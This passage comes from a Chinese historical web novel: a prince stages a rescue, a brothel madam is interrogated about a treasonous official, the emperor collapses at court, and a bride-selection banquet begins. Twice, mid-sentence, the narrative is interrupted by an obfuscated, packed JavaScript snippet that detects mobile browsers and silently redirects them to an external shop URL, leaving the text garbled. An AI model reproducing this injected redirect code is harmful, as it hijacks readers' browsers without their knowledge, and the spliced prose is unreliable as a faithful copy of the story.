那人重重摔在地面上,砸起一地灰尘,铺路的石板应声碎裂,少年将军也稳稳落地。 他一脚踩住那人的胸膛,手中的长枪直逼那人脖颈。 不等老鸨再继续看,她被两个士兵拉着去了别的马车上。 危急时刻拿她做挡箭牌的男人也被拉到了别处,和她分开来。 车队继续行进,老鸨回头望去,只见那少年将军领着几个士兵在搜查前来灭她们口的人的尸体。 更多的,她便再没机会细看了。 * 等车队完全转过前面的拐角,邹瑅才收回脚,朝脚下被他踩着的人伸出手。 那人没承他的情,自己爬了起来。 扯开蒙面的黑纱,便猛然咳嗽起来。 见冯云咳得脸都有些涨红了,邹瑅也有些心虚。 “你没事吧?我那一击只使出了三成的力气。” 看着黑暗中朝他们走来的邹珣等人,冯云瞪他一眼,捂着腹部快步朝邹珣走去。 那背影,活像是去告状的。 邹瑅有些蔑视,也有些心虚,一回头,就和赵兴存对上视线,见赵兴存好笑耸肩,他不由得也跟着憨笑,企图糊弄过去。 看着冯云难受的模样,邹珣面色不悦,但李卓等人也在,他也不好当众发作。 欧阳谨欣慰上前拍拍邹瑅的肩膀,“虽然刚刚那几下只是做戏,但很是了不得,不枉这些年陛下的悉心教导。” 印象中,这还是他长大后第一次得到大舅父直白的夸赞,还是当着这么多人的面,邹瑅莫名的有些羞涩,但也有些暗爽。 赵英催促道:“事不宜迟,我们马上去对她进行审讯。” 几人也都能理解赵英,唤来暗处的马车,跟着往廷尉府的方向赶去。 * 一到廷尉府,赵英反倒冷静下来,等候了差不多一炷香的时间,他才带着邹瑅前往老鸨所在的牢房。 老鸨被单独关到了牢房的最深处,昏暗幽闭,肉眼所及之处,除了拐角处的两个守卫,再无一人。 好半响,老鸨怦怦直跳的胸膛才平复下来,突然听到一阵轻微的脚步声,她浑身一僵,还以为又是来杀她的人,抬头望去,见那个救她于危难之中的少年将军也在其中,她心中的恐惧才勉强散去些许。 她连滚带爬起身跑到围栏边,抓着围栏哭得梨花带雨,“将军,小将军,求您送佛送到西、好事做到底,他们一定还会派人来杀我,求您帮我换一间不那么偏僻的牢房,或者多派些军爷来看管我吧。” 听她说完,赵英冷笑一声,“勾结逆贼,意图谋反,他们不能杀你灭口,你也活不了多久。” 老鸨听闻此言,浑身一软,跌坐到地上。 “赵将军,你先息怒。”邹瑅安抚一声,接过钥匙上前打开房门,将老鸨扶起,“大娘,你快先起来。” 闻言,我见犹怜、柔弱无骨往邹瑅身上靠的老鸨面色一滞,险些破功,但她很快调整过来,也不再动歪心思,只是无助哭泣。 邹瑅扶她到木板床上坐下,后退拉开距离后,解释又道:“奸人趁乞巧杀人行凶在先,后又有逼诱民众互殴、散布谣言、煽动民众情绪等系列恶行,欲破来坏我大嬴得来不易的安定,其心可诛,是以赵将军才对相关人等如此痛恨。” 她泪流满面看着邹瑅,听他说完,又小心翼翼去看赵英的面色。 见赵英站在门边冷眉怒目,却并没有下一步的动作,她瞬间明白这个几次救她、又耐心跟她解释的少年将军身份绝不一般。 “小将军,我一介妇人,乱世求生本就不易……我也是被人威胁的啊,”她哭着说着,就又要跪下。 邹瑅连忙将她扶起,“你先起来,你的苦衷,我们换个地方慢慢说。” 老鸨一边被邹瑅搀扶着往外走,一边哭着又哀求:“小将军,我什么都告诉你,等你抓到真正的贼人,能放我一条活路吗?我虽被逼迫着做了许多坏事,但我也时常施粥行善,以求少些罪孽,我真的不是十恶不赦的坏人,我真的不想死啊……” 她说得有些混乱,邹瑅尚不知晓她具体做了些什么,但为了从她口中撬出更多信息,他也只得温言细语先安抚她。 “我乃是当朝三皇子邹瑅,若你所说句句属实,且助我们抓到背后的逆贼、将功补过,我只会上报父皇,请他对你依功行赏,保你后半生衣食无忧。” 老鸨虽然猜到他身份不一般,但听到他说他是三皇子,还是难免震惊,腿一软又要跪下,再求个免死金牌。 邹瑅先一步拉住她,“他们已经派人对你灭口,留给我们的时间不多了,你先将你知道的快快说来吧。” 说话间已经到了审讯室,纸墨笔砚和审讯记述人员都已经准备好。 以赵英为首、廷尉府廷尉辅助,他们紧接着便对老鸨进行审问,邹瑅则与其余几人在一侧旁听。 或许是为了得到更多同情,老鸨见缝插针讲述了很多她的心酸过往。 老鸨说自己名叫丽娘,今年不过三十六岁。 她自称幼年被卖,几经辗转进入安阳公主府为婢,十四岁被驸马长兄杨建看中要到府上,十五岁母凭子贵升为妾室。 但好景不长,等她生下一对龙凤胎,无所出的正室便将她的孩子抱走,她则被几番转送,最后流落到花柳之地为妓。 陷身妓馆这些年,她逐渐认命,后再次偶遇杨建,她用尽浑身解数去讨好杨建,希望杨建为她赎身,但杨建只是承诺并未行动。 她年纪渐长,见杨建靠不住,就开始另谋出路,却不料四年前,杨建大手笔的买下她所在的妓馆,更改为如今的欢香馆,还让她做老板。 虽然没能离开妓馆,但身份不一样了,她自然欢喜还来不及。 但只过了半年,杨建将她如今的丈夫张思带到欢香馆,让张思和她共同管理欢香馆就罢了,还非要将她嫁给张思。 张思相貌丑陋猥琐,给她一种凶恶恐怖的感觉,她不想嫁,但由不得她。 她的直觉很准,张思的确不是什么好人,他几乎完全抢去了欢香馆的掌控权,还在杨建每次来找她过后,唤来许多丑陋猥琐的狐朋狗友一同欺侮打骂她。 她也曾经跟杨建诉苦,但杨建完全不信,还说张思在给他做一件很重要的大事,让她忍忍。 她也曾好奇两人的神秘勾当,每次问杨建被糊弄过去,好不容易找到机会问张思,却被张思打骂了个半死,那之后,她明面上就再不敢过问。 经受了三年多的折磨,丽娘深知两人都不能护她后半生周全,也留了个心眼,她识得的字不多,但她与张思毕竟生活在同一个屋檐下,日积月累,私藏了不少两人的书信与账目往来。 * 审讯完毕,夜已经深了,欧阳谨、邹黍他们年纪都不小了,身体也孱弱,尤其是邹黍,交代安排一番就各自回去休息了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739964|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵英命其子赵兴存同廷尉审讯张思,自己则亲自带兵去取丽娘私藏的书信与账目。 邹瑅给丽娘重新安排了牢房,便去了证物室翻看从欢香馆搬运回来的账目本,却不料邹珣已经在其中,邹瑅还以为他已经回去了,惊了一下,脚步也是一顿。 邹珣戏谑笑道:“皇弟何故如此惊慌,是做了什么愧对皇兄的事吗?” 邹瑅闻声反应过来,压下心中心虚慌乱,边若无其事靠近,边转移话题说,“这个玩笑不好笑。这么晚了,你还不回去吗?” 邹珣虽没不依不舍追问,却阴阳怪气道:“皇弟为父皇面前表现如此废寝忘食,为兄的自然不能懈怠。” 邹瑅一时语塞,欲言又止,但最终只是翻了个白眼,懒得再搭理他,走到一旁拿起账目仔细看了起来。 他是真觉得邹珣莫名其妙,从他有记忆起,邹珣就总是和他针锋相对。 尤其现在,他不走根本不是想表现,而是想确定账目里有没有对邹杲不利的字句。 殊不知,他这无语的模样更让邹珣心中忌惮,觉得他颇有城府心机,尤其是人前人后两套截然不同的姿态。 实在咽不下这口气,邹珣起身慢慢走到邹瑅身侧,见他看得认真,不由拔高声量道:“看什么呢,这么认真?” 他说着,伸手就要去抢,邹瑅本吓了一激灵,本能护住。 对上邹珣‘你果然有鬼’的探究眼神,又觉无语,当即将手里没发现异常的账本丢给了他。 “这么好奇,你自己看吧。”说罢,又低头拿着另一本看了起来。 邹珣翻看几眼,没发现什么稀奇的,遂又将视线转向邹瑅。 兀地,他问:“你就这么担心邹杲?” 邹瑅闻言抬头警惕看向他,邹珣却痛心说:“你我才是血脉相连的亲兄弟,邹杲与你我既无血缘,又为父皇所忌惮,你要是真想替父皇分忧,就该与我兄弟同心,一举将邹杲除去,永绝父皇后患。” 邹瑅忍耐着听他说完才冷声反问:“你说完了?” 邹珣点点头,上前一步蹲在他面前,笑盈盈说:“你我兄弟联手,替父皇除掉邹杲这条恶犬如何?” 邹瑅忍了再忍还是没忍着,一把推开邹珣,邹珣一个不察,摔了个屁墩,霎时,邹珣的脸色难看极了,邹瑅想起身去扶他,但邹珣已经自己撑着爬起来了。 “……抱歉。”一番心理斗争,邹瑅只嗫嚅出这两个字。 邹珣嫌恶拍打着身上几乎看不见的灰尘污浊,朝门口望去,见没人,当即猛地转过头来,冷冷瞪着他,阴鸷讥笑,“这里又没有除你我以外的第三人,你在装些什么?搞得好像是我欺负你在先一样。” 邹瑅一愣,是真不理解他这话从何讲起,“我装什么,我听不懂你的意思。” 知道邹珣嘴里说不出什么好听的话,邹瑅起身看向他,又说:“阿杲与我虽没有血脉关联,但他是父皇当着三军将士的面认下的义子,从那一刻起,他就是父皇的第四个儿子、是我名正言顺的兄长。” “他虽嘴上不说,但我知道他把父皇与我视作亲父亲、亲弟弟对待,否则,他也不会几次三番舍命救我和父皇,他对父皇的敬重关心、对我的爱护陪伴,说再多你也不懂。” “你说父皇忌惮阿杲,或许确有此事,但父皇与阿杲之间的父子、君臣情谊绝不会因此消失,父皇绝不会因为这种无端的猜忌而要了阿杲的命。何况,阿杲过去虽拥有神武军的虎符,可如父皇亲临般调动神武军,但大统领始终是我二舅欧阳慎。” “再说了,真要防备将领拥兵自重,那父皇最先要解决的该是英武军的大统领杨柯才对。” “杨柯独揽二十万英武军,虽远在边境,但他的嫡长女是睿王邹珏堂兄的王妃,四弟杨荣是安阳公主的驸马,二弟杨建位列九卿中的少府,掌山海池泽之税。哦还有!我要是没记错的话,他的幼女还是二皇兄你的侧妃,并为你诞下了次子,对吧?” 邹瑅这番话超出了邹珣对他的固有印象,邹珣沉重看着他,一时没有方反驳,也没有言语,但双目之中,似乎蕴含着浓浓的悲痛。 邹瑅也知道自己的话说得太过了,他沉默片刻,轻叹了口气,“皇兄还是做好自己分内的事,不要擅自揣度父皇思想,更不要再针对阿杲了。” 邹珣终于有了反应,他讥讽一笑,笑得邹瑅莫名其妙,只觉自己说了这么说简直对牛弹琴,脾气也上来了。 “我要继续了,请皇兄自重。”说罢,坐下去拿起账本看得投入。 邹珣也越发觉得他虚伪可憎,重哼一声,挥袖离去。 * 邹瑅没在意这一插曲,和廷尉府的众人几乎都是一夜未眠。 天还亮,确定账目和丽娘私藏的信件都与邹杲无关后,邹瑅一身轻松,换上家仆送来的朝服,精神抖擞随赵英等人进宫上朝。 43.幽冥卷·第十八章 18 鄂阳宫,偌大的浩鸿大殿,一时间只有赵英一人沉重有力的声音在回荡。 待他一一说完,整个大殿内百余号人鸦雀无声。 又等了片刻,见还是没有人言语,成武帝才终于出声,但他只是一声轻咳,跪在殿中许久的杨建便是一阵颤栗。 “杨建,”成武帝喊。 杨建浑身颤抖得更厉害,“臣、臣在,” “私铸兵器货币、杀害朝臣子嗣共计十七人、煽动百姓对立互殴、构陷常胜王、意图谋反,你可认罪。” 成武帝每说一句,声音加重一分,杨建也跟着将脑袋压得更低,等他说完,杨建已经被吓破了胆,他附近的人几乎立刻就闻到了腥骚味。 杨建却全然顾不上那么多,连连磕头喊冤枉,成武帝也没喊停,很快,他的额头磕得血肉模糊。 摩擦让那股骚味越来越重、越传越远,朝臣纷纷捂鼻,连成武帝都被臭到了。 “念你父兄为我大嬴统一大业呕心沥血,朕便给你个伸冤的机会,逐一详细说来吧,你冤在何处。” 他停下磕头喊冤的动作,缓缓抬头看向右侧为首的几人,分别是颍王邹黍、睿王邹珏、二皇子邹珣以及三皇子邹瑅。 邹黍与邹瑅神色如常,邹珣和邹珏都是明显的紧张,两人与他杨家都有姻亲关系,他们的紧张倒是也说得过去。 但等了好半晌,他也只是转头看向成武帝哭着辩驳:“陛下,我杨家世代忠良…臣贪图美色,买下欢香馆、命家仆暗中收罗美艳女子以供享乐却有其事,勾结常胜王窝藏他国遗脉、意图谋反…臣实属冤枉啊,陛下……” 杨建只是哭自己冤枉无知,成武帝看得眉心紧蹙,显然很是不耐烦了,但他还是又等了片刻,见杨建还是没有说出任何有用的信息,成武帝才不耐抬起手示意,旁边伺候的沙於瞬间明白他的意思,对殿外喊道:“来人啊。” 很快进来两个士兵,沙於又确认了成武帝的脸色,这才道:“将杨大人先带下去。” 杨建的一声声冤枉逐渐远去,成武帝这才抬眼看向下方的文武百官。 “你们就没有什么要说的?要为自己或杨建喊冤的,速速说来吧。” 他这话就差直白的问有没有人要替杨建求情的了。 交头接耳的窸窣声响起,却迟迟没有人出列。 “既如此,”成武帝冷声就要做出决判,邹珣在这一刻猛地窜了出去,“呃,” 他腿一软,噗通一声跪了下去,众人都是一惊,邹珣本人也是。 他是被颍王推出来的,他难掩恶狠回头看向邹黍,似乎想要他给一个说法,成武帝却在这时喊他了,“珣儿,你有什么话要说。” 没有情感起伏的声音令人捉摸不透,抬头对上成武帝威严冷峻的眼神,邹珣更是本能的感到害怕,“父皇……”他嗫嚅喊了声,却再没有下文。 李卓在这时候走出站在邹珣身边对成武帝道:“陛下,二殿下昨夜得知欢香馆是杨建的产业后曾同臣说起国,他言:杨建是他侧妃的叔父,欢香馆窝藏复儒教逆贼与神武军箭弩又确是板上钉钉,他本不该再多说什么,但杨建兄长杨柯将军带领英武军为我大嬴统一鞠躬尽瘁,杨家还是太后的母家,若误判了杨建,恐怕寒心的不止是杨氏一族,十分不利于我大嬴的康宁安稳。” 邹珣先是一愣,心中嘀咕他没和李卓说过这些啊,但察觉到成武帝一点点消散去的怒意,他也反应过来。 他连忙说:“父皇,儿臣认为此案最重要的是私铸兵器与货币,杨建身为少府,无论是神武箭弩的铸造图纸,还是金饼的熔铸磨具,他都没法通过职务之便去获得,儿臣以为,无论他冤枉与否,背后都还另有其人。” “你这么说,”成武帝淡淡道,“是对他背后之人已经有了论断。” 轻飘飘的一句,却让邹珣又吓出了一身冷汗,他抬起头就准备将事情往邹杲身上引,对上成武帝的眼神,他一惊,当即转换了一番说辞,“儿臣愚笨,没有实证,不敢妄下断言,只知道藏在暗处那人的狼子野心不可小觑,还望父皇明断,早日将其揪出剿灭。” 成武帝这才将视线从他身上移开,“你先起来吧。” 说着,他的视线如有实质般在朝臣身上逐个扫视,被注视到的人无不屏息凝神、打起十二分的精神。 在所有人的心都悬到嗓子眼之际,成武帝的视线才终于停在李卓身上,“李卓,” “臣在。”李卓不见半分紧张心虚,端的是一派坦然模样。 “你与珣儿通过告发常胜王的密信查到欢香馆,可有抓到那自称别国遗脉的人的信息?” 李卓摇头,“未曾,查到欢香馆是通过筛查排除。除却抵死反抗死于龙武军刀下的九人,另外还有八人在听到搜查的动静时便服毒自尽了。然,通过赵英将军昨夜连夜审讯的口供证实,密信确从欢香馆由自尽的几人送出,但具体是何人指使,人证不曾见过,臣也无从查起。” 赵英适时站出来,“陛下,从欢香馆查出的四十八人经龙武军与廷尉府连夜的查验审讯,其中四十二人早早被割去了舌头,留有舌头的六人均在服毒自尽之列,活着的人中虽有五人识得些许文字,但他们只是执行。…只能确定乞巧节杀人、第二天给四公及颍王送去密信是他们所为。” 成武帝肃穆点了点头,沉默许久,才出声问:“神武弩箭呢?” 赵英看了眼欧阳谨,见他没有要回答的意思,才答道:“从两年前开始,陆续有神武弩箭送到欢香馆,欢香馆只做周转,只有今年一月下旬送来一批的还未转移。” 他话音未落,成武帝便问:“具体数量是多少?” “完好的弩机有两百一十二把,配套箭矢共计一千八百九十七发。” 成武帝猛地站了起来,他上前几步盯着众人,还没骂出口,先一口气上不来,直挺挺倒了下去。 “父皇!” “陛下!” 不等众人反应过来,邹瑅一个箭步冲了上去,比沙於更快一步接住了他。 沙於见状,一边帮忙搀扶着,一边高声宣太医。 邹珣则先是一愣,见邹瑅已经接住成武帝,这才反应过来,连忙起身三步并作一步跑上去,从沙於手里接过成武帝,和邹瑅一左一右搀扶他去到龙椅上坐下。 这时,提着医药箱候在下边的太医也赶了上来,他欲替成武帝把脉,却被成武帝摆手推开。 “扶朕起来。”这话是对邹珣兄弟俩说的,他的声音明显虚弱,邹瑅当即劝道,“父皇,您本就旧疾未愈,先让太医替您瞧瞧吧……” 话没说完,成武帝摆手打断他,再次坚持道:“扶朕起来。” 如此,兄弟俩只得照做。 被兄弟俩搀扶着站起来,成武帝缓了片刻,甩开两人搀扶着他的手,定定看向下方众人怒声道:“全都给朕去查,一个月,鄂阳城内,不能哪怕有半根神武箭矢。” 话勉强说完,他便剧烈咳嗽起来,高大的身形也开始摇晃。 邹瑅和邹珣大惊,先后上前扶住他。 听到成武帝喊他们扶他回殿中休息,兄弟俩立刻照做,沙於则喊上太医紧跟着成武帝身后,抛下满朝臣子离去。 目送成武帝离开,朝臣再也忍不住,议论纷纷,最终投向三公、赵英还有颍王,完全把他们当主心骨,希望能从他们口中得到下一步的指示。 但几人此刻也是一个头两个大,只将众朝臣先糊弄走,而后不约而同去到御书房等候。 * 成武帝的寝殿中,太医给成武帝把脉扎针,又开了药方命人去熬药。 药还没来,成武帝后宫除皇后以外的所有妃嫔都来了。 韩贵妃最得成武帝宠爱,也最大胆,她直接扑到成武帝床边,抓着成武帝的手小声哭得伤心。 成武帝脸上露出明显的烦躁,但他还是轻柔拍了拍韩贵妃的手,“朕无大碍,别哭了,哭得朕心烦。” 韩贵妃瞬间很是伤心,漂亮的一双眼睛难以置信看着成武帝,眼看就要开口,太后适时道:“陛下需要静养,静姝、余妃,扶韩贵妃起来。” 韩贵妃不愿走,她努力忍着哭意看向成武帝,“陛下,臣妾不哭了,让臣妾留在左右伺候您。” 成武帝摇头,声音神态也缓和下来,“这里有珣儿、瑅儿伺候,哭多伤眼,你先随母后回去。” 韩贵妃还欲再说,静姝和余妃来到榻前将她扶了起来。 成武帝又看向太后,“母后,朕只是气急攻心,却无大碍,您带着她们回去吧。” 太后满脸关切,却没有上前半步,只道:“好,陛下龙体为重,定要好生休养。” 成武帝点点头,太后也不再多言,来得急,去得也快,当即便带着几个妃子和静姝转身离去了。 但她们还没走出几步,成武帝又叫住她,“母后,” 太后一惊,连忙转身快步上前来,成武帝不急不缓道:“再有十日就是瑅儿的二十二岁生辰了,瑅儿随朕出征近十年,至今无妻无妾,朕每每想起,时常觉得亏欠于他。” 邹瑅一愣,心中五味杂陈,一边欢喜父皇还记得他的生辰,一边又懊恼,觉得不该让父皇为他的婚事忧心。 “父皇……”他的话没说出口,成武帝抬手打断他,又对太后道,“朕欲召集文武百官家中的适龄女子为瑅儿大庆生辰,前些日子疲于朝政,遗忘至今日才堪堪想起。” 太后和蔼笑着说:“瑅儿的婚事哀家也正想和陛下说,陛下好生休养,瑅儿的生辰宴和婚事都交予哀家便是。” “母后一人操劳朕也不忍,但朕也的确脱不开身,”成武帝为难片刻,又看向韩贵妃,“韩贵妃,就由你陪伴在母后左右,代朕尽孝吧。” 韩贵妃还在伤心,听到他这么说,虽然还在哭,心中却好受了许多,却也乖巧点头应好。 太后笑笑让成武帝放宽心,又叮嘱兄弟俩照顾好成武帝,这才带着众妃真正离开。 邹瑅走到床榻前,还想说他的婚事不用急于这一时,但还没开口,沙於端来检查过的汤药,邹珣见状立马接过端到成武帝床前。 “父皇,儿臣喂您。”邹珣说着,自顾自舀起一勺将其吹了吹递到成武帝嘴边。 成武帝点点头,张嘴接下,见状,邹瑅只能作罢。 药喝完,沙於又命人送来早膳,兄弟俩自然陪同。 成武帝只吃了几口便放下筷子对兄弟俩说:“沙於说李卓几人都还在御书房外等候,朕今日乏累异常,你们替朕去见他们。” 邹珣当即应下,“好,儿臣和皇弟这便过去。” 他说着起身,见邹瑅一动不动,伸手就去拉他,“走吧,皇弟。” 邹瑅避开他的手,看向成武帝,“父皇,鄂阳城内藏匿多批神武箭弩的确危 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739965|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险异常,但动用举国之力去查,恐怕会顾此失彼。” 见成武帝变了脸色,脸上的轻松惬意不再,邹珣连忙道:“你能想到的父皇自然能想到,今日先让父皇好生休息,有什么事明日再说。” 成武帝抬手示意邹珣别说了,看向邹瑅,“你有什么想法?说来朕听听。” “儿臣以为该各司其职、同步进行,神武箭弩的搜查或许可以考虑借助百姓的力量。” 邹瑅话音未落,邹珣紧接着说:“父皇,十日的封锁搜查本就闹得鄂阳城民人心惶惶,若将事情告知百姓,定然会再次引起不小的轰动,恐怕适得其反。” “珣儿所言不无道理。”成武帝陷入沉思,片刻,他的双眸才重新聚焦,看向兄弟俩道,“神武箭弩还是得查,且越快越好,让欧阳谨与赵英联合内史余季萌去查,告诉他们,朕只给他们一个月的时间。” “杨建及欢香馆人员交由李卓与廷尉,务必查清杨建在其中的真正角色,”他顿了顿,“以及杨柯是否知情参与。” 闻言,兄弟俩脸色都是一凛。 邹瑅问:“父皇,要不要先派人去监察杨柯?” 成武帝没有过多思考,只是片刻就给出了回答,“暂时不用。” 他又说:“其余事宜交给韩威、沈凌以及颍王去办,朕乏了,你们稍后不必再来同朕汇报。” 他明显的疲惫,邹瑅也看到了,但的确还有话想说,见状,邹珣先声夺人,“父皇休息吧,儿臣们知晓了。” 成武帝摆摆手,示意两人快去。 邹珣不再给邹瑅说话的机会,抓着他的手臂将他带了出去。 邹瑅却还挣扎着回头劝道:“父皇,龙体为重,您方才吃的不过是过往的十之一二,再烦心,您也还是要多吃些啊。” 成武帝一滞,神色很是复杂,又很是欣慰,和蔼冲他点点头,说‘朕知道了,去吧’。 邹瑅勉强笑笑,这才任由邹珣拉着他离去。 邹珣一口牙齿都要咬碎了,恨自己没抢先,也气邹瑅心思深沉,尽会动嘴皮子功夫 走出门拐过转角,邹珣便甩开了他。 邹瑅也觉得他莫名其妙,也不理他,冷哼一声快步朝御书房而去。 见状,邹珣连忙加快脚步,生怕慢了,又让邹瑅抢了先。 * 御书房,兄弟俩你一言我一语将成武帝的安排说与几人听罢,几人立刻便各自散去。 见邹珣先和李卓说了什么,又搭颍王邹黍的车回家,邹瑅不由想起皇伯父在朝堂上推邹珣的那一下,一时对他这样做的缘由好奇不已。 他正定定看着邹珣与颍王离去的背影时,他的大舅父欧阳谨走到他身边,“走了,有什么上车再说。” 一上车,邹瑅就忍不住问道:“大舅,你说我伯父平日明明表现得恨不得与所有人割席分坐、以求明哲保身,今日怎么偏偏在父皇动怒的时候将皇兄推了出去呢。” 欧阳谨站在另一边,没看到邹黍动手,听邹瑅这么说,一时蹙眉,他问:“你确定二皇子是被颍王推出去的?” 邹瑅无比确定,他点点头,“怎么了吗?大舅神色为何如此凝重?” 欧阳谨摇摇头,脸色却没松缓半分。 邹瑅不再发问,车厢内陷入了长久的沉默。 马车缓缓行驶着,市区的喧闹逐渐清晰,欧阳谨也终于再次开口。 他的声音很轻,像是在自言自语,“陛下怕是更中意二皇子了。” 邹瑅一时间还没反应过来,还笑呢,看到欧阳谨槁木死灰的模样,才后知后觉反应过来。 他有瞬间的愕然,很快就又坦然笑道:“父皇的决定一定是经过深思熟虑的,他选择二皇兄,说明他认为二皇兄更能延续我大嬴千秋基业。” 欧阳谨只是淡淡问:“届时殿下要如何自处呢?” 邹瑅笑得更放松了,“我就学我伯父呗,二皇兄信得过我我就继续为大嬴效力,否则……做一个闲散王也快意江湖也挺好。” 话虽这么说,邹瑅还是肉眼可见的落寞。 “欧阳家呢?殿下一分不曾考虑过吗?” 邹瑅强撑出来的笑容僵在脸上,他又挤出笑意,还想装傻,但对上欧阳谨失望凝重的双眸,一时内疚得说不出话来。 欧阳谨又说:“大厦建成往往需要若干人几十数百年的牺牲努力,但倒塌却往往就在一瞬间。陛下仁慈重义,颍王仍需谨小慎微,常胜王更是交了兵权远走他乡。而殿下……” “您如今深得军心与民心,想如颍王一般闲散,其中艰难,恐怕不亚于水中捞月。” 听他提到邹杲,想到邹杲下落不明,邹瑅的心情更加难过。 “大舅……”他欲言又止,失魂落魄喊出声,却没能说出剩余的话。 欧阳谨叹了口气,伸手拍拍他的肩膀,“为人臣子,岂敢妄自揣度君心,殿下若还认臣这个舅父,就权当臣没说过这些话吧。” 马车缓缓停了下来,奴仆的声音传来,“大人、殿下,三皇子府到了。” 欧阳谨倾身上前将车帘掀开,“殿下请。” 邹瑅欲言又止,但还是愣愣下了车。 他才下车,欧阳谨的马车便掉头驶了出去。 邹瑅心中烦闷异常,没理迎上来的管家,助跑几步跃到屋顶之上,很快将管家的惊呼甩到了脑后。 ………… 44.幽冥卷·第十九章 19 日子一天天过去,很快,就到了七月二十八,邹瑅二十二岁的生辰当天。 生辰宴就在三皇子府举办,太后早早命人来将三皇子府布置了一番,又从宫内与郊外行宫中搬了不少鲜花过来。 一时间,三皇子府繁美热闹异常,若是再贴两个喜字,都能直接成婚了。 邹瑅昨夜与昔日行军时的旧友喝到了半夜才回来睡下,被小厮喊起来梳洗更衣的时候人都还是晕的。 一番折腾,邹瑅终于清醒过来,但紧接着人就被带到了后院。 空荡荡的三皇子府一改之前的冷清,热闹非凡,所到之处,都是年轻娇艳、盛装打扮的女子。 这些女子或美艳、或清雅、或落落大方、或含羞带怯,她们或赏花游乐、或翩翩起舞、或抚琴、或作画、或对弈,姿态各异,无一不光彩夺目。 邹瑅这辈子没见过那么多年轻女子,一时面红耳赤,走路都不知道该先迈哪条腿了。 去到主会场,看到端坐在中间的皇祖母与母后,邹瑅才没那么紧张。 他上前行礼,“皇祖母,母后,二皇嫂。” 皇后欧阳羽儿面色淡淡,独自坐在一旁垂首低眉,手中拿着一串佛珠在盘拨,对于他的呼喊,只是微微颔首,都不曾抬眼看他。 太后和二皇子妃则紧挨着坐在一起,被四个妙龄女子环绕着。 太后和蔼笑着朝他招手,“瑅儿来了,快到祖母这边来。” 若是往常,邹瑅肯定上前顺势在太后脚踏处坐下,然后依附在她的膝盖上同她说话,但今日不同往日,他只能在太后三步处站定。 太后笑着说,“这四个姑娘是最合哀家眼缘,”她又对四名少女说,“同你们聊了太久,哀家都渴了,来,自己将你们的名字一一说与瑅儿认识吧。” 四名少女红着脸你看看我,我看看你,都不好意思第一个上前。 还是二皇子妃推了推离她最近的女子,打趣说:“三殿下没来的时候,对他的仰慕不绝于耳,如今本尊来了,怎么一个个的都不好意思开口了,玉玟,你先来吧。” 少女雅丽的脸更红了,她羞怯地对邹瑅行了个礼,“臣女沈玉玟见过三皇子殿下。” 邹瑅脸也有些红,也不好上前扶人家,只站在原地颔首表示回应。 有了开头,后面三个也就自然而然了。 “臣女李幼菱见过三皇子殿下。” “臣女余安安见过三皇子殿下。” “臣女曹玉笯见过三皇子殿下。” 三人依次说完,二皇子妃又笑道:“怎的这么吝啬。”她又对邹瑅说,“三皇弟,容皇嫂仔细给你介绍一番。” 虽然和邹珣不对付,但不妨碍二皇嫂给他很好的印象,何况还是当着这么多人的面,邹瑅自然腼腆笑着回应,“好,有劳皇嫂了。” 二皇子妃名为曹芸,正怀有身孕,肚子不小,少说也有五六个月了。 但她还是站起身走到少女们中间拉着挨个介绍,“玉笯是我母家的妹妹,今年已经十八岁,最喜诗赋丹青,自她及笄那日便有不少官宦子弟上门求娶,但她读了太多诗书、看了太多丹青佳作,一般男人入不得她的眼,也因此推拒了很多好姻缘。” “姐姐。”曹玉笯清丽的脸上满是嫣红,低着头恨不得将整个人藏起来。 太后笑道,“看来,我们瑅儿是侥幸入了玉笯的一双明眸了。” “皇祖母……” “太后……” 长辈的一句调侃,让两人都羞涩极了,被调侃的两人不经意的对视,又是一阵慌乱,太后等人又是一阵好笑。 太后适时叫停,“好了好了,不笑了,等会两人该熟透了。” 二皇子妃一边笑,一边又伸出另一只手拉住曹玉笯身边容貌可爱的圆脸女子,“安安是玉笯的闺中密友,今年十六岁,是卫尉兼任内史的余大人八个孩子中唯一的女儿,对安安宠爱非凡,但安安就爱女红,一双小手那叫一个巧啊。” 她说着,将手中的锦帕展开给邹瑅看,上面绣的是一对麒麟,邹瑅在女红方面一窍不通,但不妨碍他觉得锦帕上的麒麟生动。 “这方锦帕就是安安得知我有孕后特意绣来送给我的,麒麟送子也护子。” 余安安圆圆的小脸两边各点缀着一团坨红,本就可爱的脸蛋看起来更加娇艳动人,和邹瑅兀地对视上,她虽然慌张,但又忍不住偷偷又去看邹瑅,别提多娇俏了。 二皇妃轻笑打断两人,又说:“听闻安安和玉笯以皇弟当年英雄事迹共创了一幅锦绣,在闺阁中藏了好几年,谁都不给看,今日我可算是沾皇弟的光,终于有大饱眼福的机会了。” 邹瑅有些惊喜,也更加意外,“锦绣在何处。” 太后笑道:“猴急什么,等会有的是时间给你看。” 邹瑅羞涩摸摸鼻子,两个女孩也是羞涩万分,不敢再看他。 二皇妃又牵住旁边的黄衣女子笑着说:“皇弟莫急,我还没介绍完呢。这位是幼菱,右相李大人的嫡长孙女,今年五月方才及笄。” 她又亲切看向李幼菱,“听闻幼菱你受到你母舅王将军的影响自幼习武,今日难得有此机会,敢不敢与三皇子切磋切磋?” 李幼菱抬头看了邹瑅一眼,看到邹瑅脸上的惊讶与期待,她当即又移开视线看向二皇妃。 